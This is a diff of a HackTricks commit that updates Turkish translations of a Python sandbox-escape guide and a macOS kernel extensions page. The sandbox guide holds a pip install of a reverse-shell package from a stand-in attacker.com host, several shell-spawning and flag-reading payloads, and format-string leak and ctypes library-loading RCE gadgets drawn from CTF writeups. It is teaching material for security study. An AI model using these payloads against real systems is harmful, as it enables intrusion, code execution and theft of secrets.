mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['generic-methodologies-and-resources/python/bypass-python-sa
This commit is contained in:
parent
ffc1a13f47
commit
e5057b6b49
4 changed files with 133 additions and 71 deletions
|
@ -148,7 +148,7 @@
|
|||
* [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||
* [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
* [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
||||
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS Kernel Extensions & Debugging](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS Kernel Vulnerabilities](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md)
|
||||
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
|
||||
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Python sandboxes'ını atlatma
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçlarıdır.
|
||||
Python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçları.
|
||||
|
||||
## Komut Çalıştırma Kütüphaneleri
|
||||
|
||||
|
@ -87,7 +87,7 @@ Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https
|
|||
|
||||
**@isHaacK** tarafından paylaşılan hile
|
||||
|
||||
Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
|
||||
Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
|
@ -152,7 +152,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypass korumaları kodlamalar aracılığıyla (UTF-7)
|
||||
|
||||
[**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünüşte bir sandbox içinde rastgele python kodu yüklemek ve çalıştırmak için kullanılır:
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünüşte bir sandbox içinde rastgele python kodu yüklemek ve çalıştırmak için kullanılır:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -163,11 +163,11 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları kullanarak bunu atlatmak da mümkündür.
|
||||
Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları kullanarak da atlatmak mümkündür.
|
||||
|
||||
## Çağrılar olmadan Python yürütmesi
|
||||
|
||||
Eğer bir python hapishanesindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **rastgele fonksiyonları, kodları** ve **komutları** **yürütmenin** bazı yolları vardır.
|
||||
Eğer bir python hapishanesindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **rastgele fonksiyonlar, kod** ve **komutlar** yürütmenin bazı yolları vardır.
|
||||
|
||||
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE
|
||||
```python
|
||||
|
@ -193,11 +193,11 @@ class _:pass
|
|||
```
|
||||
### RCE nesneleri oluşturma ve aşırı yükleme
|
||||
|
||||
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler** **yazabilir/üzerine yazabilirsiniz**.
|
||||
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler yazabilir/üzerine yazabilirsiniz**.
|
||||
|
||||
#### Özel sınıflarla RCE
|
||||
#### RCE özel sınıflarla
|
||||
|
||||
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** **çalıştıracak şekilde** değiştirebilirsiniz.
|
||||
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** çalıştıracak şekilde değiştirebilirsiniz.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -266,7 +266,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### Hata ile nesne oluşturma
|
||||
|
||||
Bir **hata tetiklendiğinde**, **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) numarası):
|
||||
Bir **hata tetiklendiğinde**, **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) hilesi):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -374,7 +374,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) **builtins**'leri bulabileceğiniz onlarla/**yüzlerce** **yer** bulmak için.
|
||||
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) yüzlerce/**onlarca** **yer** bulmak için **builtins** bulabilirsiniz.
|
||||
|
||||
#### Python2 ve Python3
|
||||
```python
|
||||
|
@ -390,7 +390,7 @@ __builtins__["__import__"]("os").system("ls")
|
|||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals ve locals
|
||||
## Globals and locals
|
||||
|
||||
**`globals`** ve **`locals`** kontrol etmek, erişebileceğiniz şeyleri bilmenin iyi bir yoludur.
|
||||
```python
|
||||
|
@ -454,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### Tehlikeli kütüphaneleri bulma
|
||||
|
||||
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys içe aktaran tüm yüklü modülleri** arayabilirsiniz:
|
||||
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys'i içe aktaran tüm yüklü modülleri** arayabilirsiniz:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -670,7 +670,7 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
You can check the output of this script on this page:
|
||||
Bu scriptin çıktısını bu sayfada kontrol edebilirsiniz:
|
||||
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
|
@ -678,12 +678,7 @@ You can check the output of this script on this page:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Eğer **formatlanacak** bir **string** python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, global veya built-in'lere erişmek için önceki örnekleri kullanabilirsiniz.
|
||||
|
||||
{% hint style="info" %}
|
||||
Ancak, bir **sınırlama** vardır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **rastgele kod çalıştıramayacaksınız**, sadece bilgi okuyabilirsiniz.\
|
||||
_**Eğer bu güvenlik açığı aracılığıyla kod çalıştırmayı biliyorsanız, lütfen benimle iletişime geçin.**_
|
||||
{% endhint %}
|
||||
Eğer **formatlanacak** bir **string** python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -703,11 +698,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Not edin ki **niteliklere** normal bir şekilde **nokta** ile `people_obj.__init__` ve **dict elemanına** **parantez** ile tırnaksız `__globals__[CONFIG]` erişebilirsiniz.
|
||||
Not edin ki **niteliklere** normal bir şekilde **nokta** ile erişebilirsiniz `people_obj.__init__` ve **dict elemanına** **parantez** ile tırnaksız erişebilirsiniz `__globals__[CONFIG]`
|
||||
|
||||
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
|
||||
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Format dizgilerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
|
||||
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -726,14 +721,14 @@ return 'HAL 9000'
|
|||
**Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** gadget'lar için aşağıdaki sayfayı kontrol edin:
|
||||
Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** aletler için aşağıdaki sayfayı kontrol edin:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hassas Bilgi Açığa Çıkarma Yükleri
|
||||
### Hassas Bilgi Sızdırma Payload'ları
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -743,7 +738,51 @@ Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** gadget'lar için
|
|||
|
||||
# Access an element through several links
|
||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||
|
||||
# Example from https://corgi.rip/posts/buckeye-writeups/
|
||||
secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### Format'tan RCE'ye kütüphaneleri yükleme
|
||||
|
||||
[**Bu yazıdan TypeMonkey chall'a göre**](https://corgi.rip/posts/buckeye-writeups/) python'daki format string zafiyetini kötüye kullanarak diskten rastgele kütüphaneler yüklemek mümkündür.
|
||||
|
||||
Hatırlatma olarak, python'da her bir eylem gerçekleştirildiğinde bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
|
||||
|
||||
Buna benzer daha fazlasını [**Python çağrısız yürütme**](./#python-execution-without-calls) bölümünde bulabilirsiniz.
|
||||
|
||||
Bir python format string zafiyeti, fonksiyon çalıştırmaya izin vermez (parantez kullanmaya izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
|
||||
Ancak, `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesi **`__getitem__`** veya **`__getattr__`** metodu varsa ve bu metot rastgele kod çalıştırıyorsa, bunları kötüye kullanarak RCE elde etmek mümkündür.
|
||||
|
||||
Python'da böyle bir gadget ararken, yazı bu [**Github arama sorgusunu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) öneriyor. Burada bu [birini](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) buldu:
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
self._dlltype = dlltype
|
||||
|
||||
def __getattr__(self, name):
|
||||
if name[0] == '_':
|
||||
raise AttributeError(name)
|
||||
try:
|
||||
dll = self._dlltype(name)
|
||||
except OSError:
|
||||
raise AttributeError(name)
|
||||
setattr(self, name, dll)
|
||||
return dll
|
||||
|
||||
def __getitem__(self, name):
|
||||
return getattr(self, name)
|
||||
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Bu cihaz, **diskten bir kütüphane yüklemeye** olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya **doğru bir şekilde derlenmiş kütüphaneyi yazmak veya yüklemek** gerekmektedir.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Zorluk aslında sunucuda rastgele dosyalar oluşturulmasına izin veren başka bir güvenlik açığını istismar ediyor.
|
||||
|
||||
## Python Nesnelerini İncelemek
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -763,7 +802,7 @@ return "THIS-IS-THE-FALG!"
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
#### dir
|
||||
#### dizin
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
|
@ -933,7 +972,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Kullandığınız python sürümüne bağlı olarak `code_type`'ın **parametreleri** **farklı bir sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
|
||||
Kullandığınız python sürümüne bağlı olarak `code_type`'in **parametreleri** **farklı bir sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -988,7 +1027,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted modda erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **restricted ortamda olmayan bir fonksiyona** ihtiyacınız var.
|
||||
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted mode'da erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1031,17 +1070,16 @@ bypass edilecektir
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Kernel Extensions
|
||||
# macOS Kernel Extensions & Debugging
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,39 +15,39 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
Kernel uzantıları (Kexts), **macOS çekirdek alanına doğrudan yüklenen** ve ana işletim sistemine ek işlevsellik sağlayan **`.kext`** uzantısına sahip **paketlerdir**.
|
||||
|
||||
### Requirements
|
||||
### Gereksinimler
|
||||
|
||||
Açıkça, bu kadar güçlü olduğu için **bir çekirdek uzantısını yüklemek karmaşıktır**. Bir çekirdek uzantısının yüklenebilmesi için karşılaması gereken **gereksinimler** şunlardır:
|
||||
Açıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Bir kernel uzantısının yüklenebilmesi için karşılaması gereken **gereksinimler** şunlardır:
|
||||
|
||||
* **Kurtarma moduna** girerken, çekirdek **uzantılarının yüklenmesine izin verilmelidir**:
|
||||
* **Kurtarma moduna** girerken, kernel **uzantılarının yüklenmesine izin verilmelidir**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Çekirdek uzantısı, yalnızca **Apple tarafından verilebilen** bir çekirdek kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketin detaylı bir şekilde gözden geçireceği ve neden gerektiği.
|
||||
* Çekirdek uzantısı ayrıca **notarize** edilmelidir, Apple bunu kötü amaçlı yazılım için kontrol edebilecektir.
|
||||
* Ardından, **root** kullanıcısı **çekirdek uzantısını yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**.
|
||||
* Kernel uzantısı, yalnızca **Apple tarafından verilebilen** bir kernel kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketin detaylı bir şekilde gözden geçireceği ve neden gerektiği.
|
||||
* Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunun kötü amaçlı yazılım için kontrolünü yapabilecektir.
|
||||
* Ardından, **root** kullanıcısı kernel uzantısını **yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**.
|
||||
* Yükleme sürecinde, paket **korumalı bir kök olmayan konumda** hazırlanmalıdır: `/Library/StagedExtensions` (bu, `com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
|
||||
* Son olarak, yüklemeye çalışırken, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) ve kabul edilirse, bilgisayar **yeniden başlatılmalıdır**.
|
||||
|
||||
### Loading process
|
||||
### Yükleme süreci
|
||||
|
||||
Catalina'da böyleydi: **Doğrulama** sürecinin **kullanıcı alanında** gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar **çekirdekten bir uzantı yüklemesini isteyebilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
Catalina'da böyleydi: **Doğrulama** sürecinin **kullanıcı alanında** gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar **kernel'den bir uzantıyı yüklemesini isteyebilir**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **bir uzantının yüklenmesi için doğrulama** sürecini **başlatır**
|
||||
1. **`kextutil`** cli **bir uzantının yüklenmesi için** **doğrulama** sürecini **başlatır**
|
||||
* **`kextd`** ile bir **Mach servisi** kullanarak iletişim kuracaktır.
|
||||
2. **`kextd`** birkaç şeyi kontrol edecektir, örneğin **imzayı**
|
||||
* Uzantının **yüklenip yüklenemeyeceğini kontrol etmek için** **`syspolicyd`** ile iletişim kuracaktır.
|
||||
3. **`syspolicyd`**, uzantı daha önce yüklenmemişse **kullanıcıya** **soracaktır**.
|
||||
* **`syspolicyd`**, sonucu **`kextd`**'ye bildirecektir.
|
||||
4. **`kextd`** nihayet **çekirdeğe uzantıyı yüklemesini** **söyleyebilecektir**.
|
||||
4. **`kextd`** nihayetinde **kernel'e uzantıyı yüklemesini** **söyleyebilecektir**.
|
||||
|
||||
Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri gerçekleştirebilir.
|
||||
|
||||
### Enumeration (loaded kexts)
|
||||
### Sayım (yüklenmiş kextler)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
@ -58,7 +58,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
|||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kernel uzantılarının `/System/Library/Extensions/` içinde bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext` dosyasını tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir.
|
||||
Kernel uzantılarının `/System/Library/Extensions/` içinde bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext`'i tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir.
|
||||
{% endhint %}
|
||||
|
||||
**Kernelcache**, **XNU çekirdeğinin önceden derlenmiş ve önceden bağlantılı bir versiyonu** ile birlikte temel cihaz **sürücüleri** ve **kernel uzantıları** içerir. **Sıkıştırılmış** bir formatta depolanır ve önyükleme süreci sırasında belleğe açılır. Kernelcache, çekirdeğin ve kritik sürücülerin çalışmaya hazır bir versiyonunu bulundurarak **daha hızlı bir önyükleme süresi** sağlar; bu, bu bileşenlerin dinamik olarak yüklenmesi ve bağlantı kurulması için harcanacak zaman ve kaynakları azaltır.
|
||||
|
@ -72,7 +72,7 @@ Benim durumumda macOS'ta şurada buldum:
|
|||
|
||||
#### IMG4
|
||||
|
||||
IMG4 dosya formatı, Apple tarafından iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullanılan bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, gerçek yük (örneğin bir çekirdek veya önyükleyici), bir imza ve bir dizi manifest özelliklerini kapsayan bir başlık ve birkaç etiket içerir. Format, cihazın firmware bileşeninin özgünlüğünü ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler.
|
||||
IMG4 dosya formatı, Apple tarafından iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullanılan bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, gerçek yük (örneğin bir çekirdek veya önyükleyici), bir imza ve bir dizi manifest özelliklerini kapsayan başlık ve birkaç etiket içerir. Format, cihazın firmware bileşeninin özgünlüğünü ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler.
|
||||
|
||||
Genellikle aşağıdaki bileşenlerden oluşur:
|
